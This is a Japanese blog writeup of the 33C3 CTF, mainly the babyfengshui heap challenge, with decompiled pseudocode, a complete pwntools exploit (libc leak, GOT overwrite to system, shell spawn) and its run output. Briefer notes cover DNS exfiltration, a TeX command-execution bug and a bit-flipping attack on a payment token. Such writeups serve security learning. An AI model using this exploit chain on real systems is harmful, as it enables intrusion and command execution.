ヾノ*>ㅅ<)ノシ帳

ノンジャンルのふりーだむなブログです。

33C3 CTF - babyfengshui (pwn150) ほかの writeup

2016/12/29 5:00から48時間開催の33C3 CTFPing-Mic(今回は新人くんと2人)で参加しました。 結果は91位で525点です。次の問題を解きました。

  • babyfengshui (pwn150)
  • exfill (for100)
  • pdfmacker (misc75)

で、pay2pwn (web200)とかいう典型的な問題をアシストして終わりです。

babyfengshui

ユーザー管理をする帳簿を模したプログラムがpwnの対象。

疑似Cコード:

struct STRUCT_USERS {
    STRUCT_USER* user;
};

struct STRUCT_USER {
    // char* description;
    char* text;     // 
    char[] name;    // size = 0x7c
}; // size = 0x80

users[0]->name == users + 4

int number_of_X; // 0x804b069, starts with 0
STRUCT_USERS users; // 0x804b080

void getText(char* arg0, int arg1) { // 0x80486bb
    var_C = *0x14;
    fgets(arg0, arg1, *stdin);
    var_10 = strchr(arg0, 0xa);
    if (var_10 != 0x0) {
            *(int8_t *)var_10 = 0x0;
    }

    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}

void Update(int arg0) {
    var_1C = arg0;
    var_C = *0x14;
    if ((var_1C >= (number_of_X & 0xff)) || (users[var_1C] == 0x0)) goto update_exit;

loc_804875e:
    printf("text length: ");
    // __isoc99_scanf("%u%c", 0x0, var_11);
    __isoc99_scanf("%u%c", 0x0, var_11, var_10);
    // esp = (esp - 0xc - 0x4) + 0x10;
    if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd;

loc_80487b3:
    // ex. var_11 == 1145141919
    puts("my l33t defenses cannot be fooled, cya!");
    eax = exit(0x1);
    return eax;

loc_80487cd:
    printf("text: ");
    getText(users[var_1C]->text, 0x7c);
    goto update_exit;u

update_exit:
    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}


void Add(int arg0) {
    var_C = *0x14;
    var_14 = malloc(arg0); // arg0 is desicription size
    memset(var_14, 0x0, arg0);
    var_10 = malloc(0x80);
    memset(var_10, 0x0, 0x80);
    *var_10 = var_14; // users[i]->text = var_14
    users[number_of_X] = var_10;
    printf("name: ");
    eax = *(int8_t *)number_of_X & 0xff;
    eax = *((eax & 0xff) * 0x4 + users);
    getText(eax + 0x4, 0x7c);
    number_of_X += 1;
    Update(number_of_X - 1);

    eax = var_10;
    ecx = var_C ^ *0x14;
    COND = ecx == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}

function Delete {
    var_1C = arg0;
    var_C = *0x14;
    if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) {
            eax = *((var_1C & 0xff) * 0x4 + users);
            eax = *eax;
            free(eax);
            eax = *((var_1C & 0xff) * 0x4 + users);
            free(eax);
            *((var_1C & 0xff) * 0x4 + users) = 0x0;
    }
    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}

function Display {
    var_1C = arg0;
    var_C = *0x14;
    if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) {
            eax = *((var_1C & 0xff) * 0x4 + users);
            printf("name: %s\n", users[var_1C]->name);
            // eax = *((var_1C & 0xff) * 0x4 + users);
            // eax = *eax;
            printf("description: %s\n", users[var_1C]->description);
    }
    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}


int main() {
    eax = *stdin;
    setvbuf(eax, 0x0, 0x2, 0x0);
    eax = *stdout;
    setvbuf(eax, 0x0, 0x2, 0x0);
    alarm(0x14);
    esp = (((esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    goto loc_8048a68;

loc_8048a68:
    puts("0: Add a user");
    puts("1: Delete a user");
    puts("2: Display a user");
    puts("3: Update a user description");
    puts("4: Exit");
    printf("Action: ");
    esp = (((((((esp - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10;
    if (__isoc99_scanf("%d", var_14) != 0xffffffff) goto loc_8048aeb;

loc_8048ae1:
    eax = exit(0x1);
    return eax;

loc_8048aeb:
    if (var_14 == 0x0) {
            printf("size of description: ");
            __isoc99_scanf("%u%c", var_10, var_15);
            Add(var_10);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 == 0x1) {
            printf("index: ");
            __isoc99_scanf("%d", var_10);
            Delete(var_10 & 0xff);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 == 0x2) {
            printf("index: ");
            __isoc99_scanf("%d", var_10);
            Display(var_10 & 0xff);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 == 0x3) {
            printf("index: ");
            __isoc99_scanf("%d", var_10);
            Update(var_10 & 0xff);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 != 0x4) goto loc_8048c05;

loc_8048beb:
    puts("Bye");
    eax = exit(0x0);
    return eax;

loc_8048c05:
    if ((*(int8_t *)0x804b069 & 0xff) <= 0x31) goto loc_8048a68;

loc_8048c14:
    puts("maximum capacity exceeded, bye");
    eax = exit(0x0);
    return eax;
}

思考

  • 簡単にはヒープBOFができないか、他のチャンクを書き換えられるほど十分でない
  • free()の後にポインタをNull化しているため、double freeやUAF不可
  • ⇒"思い込み"に漬け込んでBOFして、隣接するチャンクを書き換える(=ポインタ書き換え)ことを目指す

思い込み(意図的に作り込まれたバグ)

if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd;

loc_80487b3:
    // ex. var_11 == 1145141919
    puts("my l33t defenses cannot be fooled, cya!");
    eax = exit(0x1);
    return eax;

このBOFのチェックは脆弱である。なぜなら、ユーザーnのdescriptionのチャンクとuser[n]のチャンクが隣接していることを前提にしているからである。 よって、図の(1)〜(3)の手順により、既存のチャンクは書き換え可能となり、同時にuser[1]がもつポインタを書き換え可能となる。 図の先が欠けた矢印はメモリ上での順序関係を示し、矢印はポインタを意味する。

f:id:katc:20161230163417p:plain

方針

  • ポインタ書き換えからの任意データ書き込みを実現(上図の(1)〜(3))
  • GOT書き換えからのsystem("/bin/sh")呼び出し(上図の(4))
    • free(buf)system("/bin/sh")と同等にする

Exploit Code

from pwn import *
from sys import argv
from os import system

BIN = "./babyfengshui"
BIN_PATCHED = BIN + ".patched"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

PATCH = False
REMOTE = False
if len(argv) > 1:
    if argv[1] == "patch":
        PATCH = True
    elif argv[1] == "r":
        REMOTE = True

"""
08048a5e 6A14                            push       0x14                        ; argument "seconds" for method j_alarm
08048a60 E8ABFAFFFF                      call       j_alarm
"""
if PATCH:
    with open(BIN) as f:
        b = f.read()
        b = b.replace("\x6a\x14\xE8\xAB\xFA\xFF\xFF", "\x6a\x00\xE8\xAB\xFA\xFF\xFF")
        with open(BIN_PATCHED, "wb") as f2:
            f2.write(b)
        system("chmod +x " + BIN_PATCHED)
    exit()

r = None
# e = ELF(BIN)
offset = {}
if REMOTE:
    """
    [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " printf@"
       640: 0004cc50    52 FUNC    GLOBAL DEFAULT   12 printf@@GLIBC_2.0
    [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " system"
      1443: 0003e3e0    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
    [katc@K_atc babyfengshui]$ strings -tx libc-2.19.so | grep "/bin/sh$"
     15f551 /bin/sh
    """
    r = remote("78.46.224.83", 1456)
    offset = {"printf": 0x4cc50, "system": 0x3e3e0, "/bin/sh": 0x15f551}
else:
    """
    [katc@K_atc lib32]$ readelf -s libc.so.6| grep " printf@"
       647: 0004a020    42 FUNC    GLOBAL DEFAULT   13 printf@@GLIBC_2.0
    [katc@K_atc lib32]$ readelf -s libc.so.6| grep " system@"
      1460: 0003af40    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
    [katc@K_atc lib32]$ strings -tx libc.so.6| grep "/bin/sh$"
     15ef08 /bin/sh
    """
    # r = process(BIN_PATCHED)
    r = process(BIN)
    offset = {"printf": 0x4a020, "system": 0x3af40, "/bin/sh": 0x15ef08}

count = 0
def Add(size_description, name, size_text, text):
    global count
    r.recvuntil("Action: ")
    r.sendline("0")
    r.recvuntil("size of description: ")
    r.sendline(str(size_description))
    r.recvuntil("name: ")
    r.sendline(name)
    r.recvuntil("text length: ")
    r.sendline(str(size_text))
    res = r.recv(1024)
    if res == "my l33t defenses cannot be fooled, cya!\n":
        log.error("GAME OVER: %s" % res.strip('\n'))
        exit()
    r.sendline(text)
    count += 1

def Delete(index):
    r.recvuntil("Action: ")
    r.sendline("1")
    r.recvuntil("index: ")
    r.sendline(str(index))

def Display(index):
    r.recvuntil("Action: ")
    r.sendline("2")
    r.recvuntil("index: ")
    r.sendline(str(index))
    name = r.recvline().split(':')[1][1:].strip('\n')
    description = r.recvline().split(':')[1][1:].strip('\n')
    return (name, description)

def Update(index, size_text, text):
    r.recvuntil("Action: ")
    r.sendline("3")
    r.recvuntil("index: ")
    r.sendline(str(index))
    r.recvuntil("text length: ")
    r.sendline(str(size_text))
    r.recvuntil("text: ")
    r.sendline(text)

def Exit():
    r.recvuntil("Action: ")
    r.sendline("4") 
    r.recvuntil("Bye\n")

def DisplayAll():
    for i in range(count):
        name, description = Display(i)
        print "[%2d] name = %r (%#x)" % (i, name, len(name))
        print "[%2d] description = %r (%#x)" % (i, description, len(description))

# context.log_level = 'debug'

plt = {"fgets": 0x8048500, "strchr": 0x08048560}
"""
gdb-peda$ x/i 0x08048560
   0x8048560 <strchr@plt>:  jmp    DWORD PTR ds:0x804b02c
"""
got = {"printf": 0x804b00c, "free": 0x804b010, "strchr": 0x804b02c}

# name_len = 0x7b
name_len = 0x10 # anti 20 sec limit
# bp()

log.info("=== [prepare] ===") # (1)から(3)まで
Add(0x20, "1"*name_len, 0x23, "A"*0x23) # 0
Add(0x20, "2"*name_len, 0x20, "B"*0x20) # 1
Add(0x20, "3"*name_len, 0x23, "/bin/sh -c 'ls; cat flag.txt; bash'") # 2
Delete(0)
# DisplayAll()

log.info("=== [info leak] ===") 
LEAK_FUNC = "printf"
Add(0x40, "4"*name_len, 0x90+32+8, ''.join([ # 3
    "D"*(0x90+28),          # padding
    "A"*4,                  # chunk header
    p32(got[LEAK_FUNC]),    # 
    "LEAK",
    ]))

DisplayAll()

name, description = Display(1)
print "description = %r" % description
addr = u32(description[:4])
libc_base_addr = addr - offset[LEAK_FUNC]
system_addr = libc_base_addr + offset["system"]
bin_sh_addr = libc_base_addr + offset["/bin/sh"]
print "libc base address = %#x" % libc_base_addr
print "%s() = %#x" % (LEAK_FUNC, addr)
print "system() = %#x" % system_addr
print "'/bin/sh' = %#x" % bin_sh_addr

log.info("=== [got overwrite] ===") # (4)
Update(3, 0x90+32+8, ''.join([ # 3
    "D"*(0x90+28),          # padding
    "X"*4,                  # chunk header
    # p32(got["strchr"]),     # X()
    p32(got["free"]),     # X()
    "GOTw",
    ]))
# DisplayAll()
bp()
Update(1, 10, p32(system_addr)) # X() <= system()

log.info("=== [trigger shell] ===")
Delete(2) # system("/bin/sh")

context.log_level = 'warn'
r.interactive()

20秒制限があるため、通信は手短に済まさねばならない点がポイント。

[katc@K_atc babyfengshui]$ python2 babyfengshui.py r
[+] Opening connection to 78.46.224.83 on port 1456: Done
[*] === [prepare] ===
[*] === [info leak] ===
[ 0] name = 'Add a user' (0xa)
[ 0] description = 'Delete a user' (0xd)
[ 1] name = 'LEAK' (0x4)
[ 1] description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7' (0x34)
[ 2] name = '3333333333333333' (0x10)
[ 2] description = "/bin/sh -c 'ls; cat flag.txt; bash'" (0x23)
[ 3] name = '4444444444444444' (0x10)
[ 3] description = 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA\x0c\xb0\x04\x08LEAK' (0xb8)
description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7'
libc base address = 0xf75b1000
printf() = 0xf75fdc50
system() = 0xf75ef3e0
'/bin/sh' = 0xf7710551
[*] === [got overwrite] ===
[*] === [trigger shell] ===
babyfengshui
flag.txt
33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1

flag: 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1

exfill

DNSを使ってデータを送受信していることが自明。Server.pyを丁寧に読み取ってscapyを使ってデータを変換して終了。やるだけ。

具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。

pdfmaker

最近発覚したTeX関連の脆弱性を利用した問題。これを知っていた(出るだろうなと思ってた)ので、問題文を見ただけで解き方が分かった。これもやるだけ。

外部コマンドの実行 - TeX Wiki

具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。

pay2pwnのアシスト内容

クレジットカード番号を入力すると、商品を購入できる。 商品はcheapという無条件に購入できるものと、flagという通常は購入できないものの2種類がある。 この場合は、cheapでいろいろ攻撃してみてあたりを付けるのが正攻法。

リクエストを飛ばすと、URLクエリにdataというパラメータがあることが分かる。 未購入の状態での2回分のアクセスのURLは次の通り。

http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7e5261df9e28804963b5b0554edda4f8828df361f896eb3c3706cda0474915040
http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7a39ae7d3a1b9fd303b5b0554edda4f8828df361f896eb3c3706cda0474915040

タイミングによらず、未購入であれば同じdataが入りそうだ。

次に2種類のクレジットカード番号(これはダミー)でcheapを買ってみたときのURLを調べた。

### 4929990005949674
http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c88187d54e1bf2760728df361f896eb3c3706cda0474915040

### 4024007103302005
http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c89559d4e580fe28ef28df361f896eb3c3706cda0474915040

注意深く見ると、次のことが分かる。

  • dataはhexエンコードされたデータ。暗号文の可能性が高い
  • 購入できたときのdataで比較すると、dataの中央部だけ一致しない。ここにクレジットカード番号が入っていると見られる

dataには購入結果が入ることが予想できるため、bit flippingという攻撃方法により、statusを改竄するように提案した。 あとはcrypto担当の新人くんが30分くらいで解いてくれた。優秀(まだCTF初めて1ヶ月位なんだぜ?)。


ほんとESPRとthe 0x90 called解いて周りと差を付けたかった…